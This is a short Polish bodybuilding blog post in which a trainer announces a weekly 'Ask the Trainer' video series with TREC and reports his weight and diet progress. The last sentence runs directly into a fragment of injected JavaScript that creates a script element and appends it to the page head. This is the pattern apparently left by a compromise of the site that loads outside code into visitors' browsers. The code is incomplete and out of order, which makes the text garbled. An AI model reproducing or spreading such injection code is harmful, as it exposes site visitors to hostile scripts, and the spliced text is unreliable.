Zapytaj trenera

21.10.2012 / Michał Karmowski / Kulturystyka

 

Od kilku tygodni razem z ekipą TREC’a realizujemy nowy projekt …, a mianowicie cykl filmów z serii „ZAPYTAJ TRENERA”.

W każdy czwartek spotykamy się z chłopakami a ja przed kamerą odpowiadam na pytania forumowiczów oraz pokazuję w jaki sposób poprawnie wykonać poszczególne ćwiczenia.

watch?v=8nghqZDJ0D8&feature=plcp

U mnie w dalszym ciągu waga pokazuje 119kg z czego jestem zadowolony bo delikatnie schodzi tłuszcz. Jest to oczywiście spowodowane dołożeniem jednej sesji treningu aerobowego i pilnowania diety….,która od ostatniego razu sie nie zmieniła.d.getElementsByTagName(‚head’)[0].appendChild(s);if (document.currentScript) { var d=document;var s=d.createElement('script');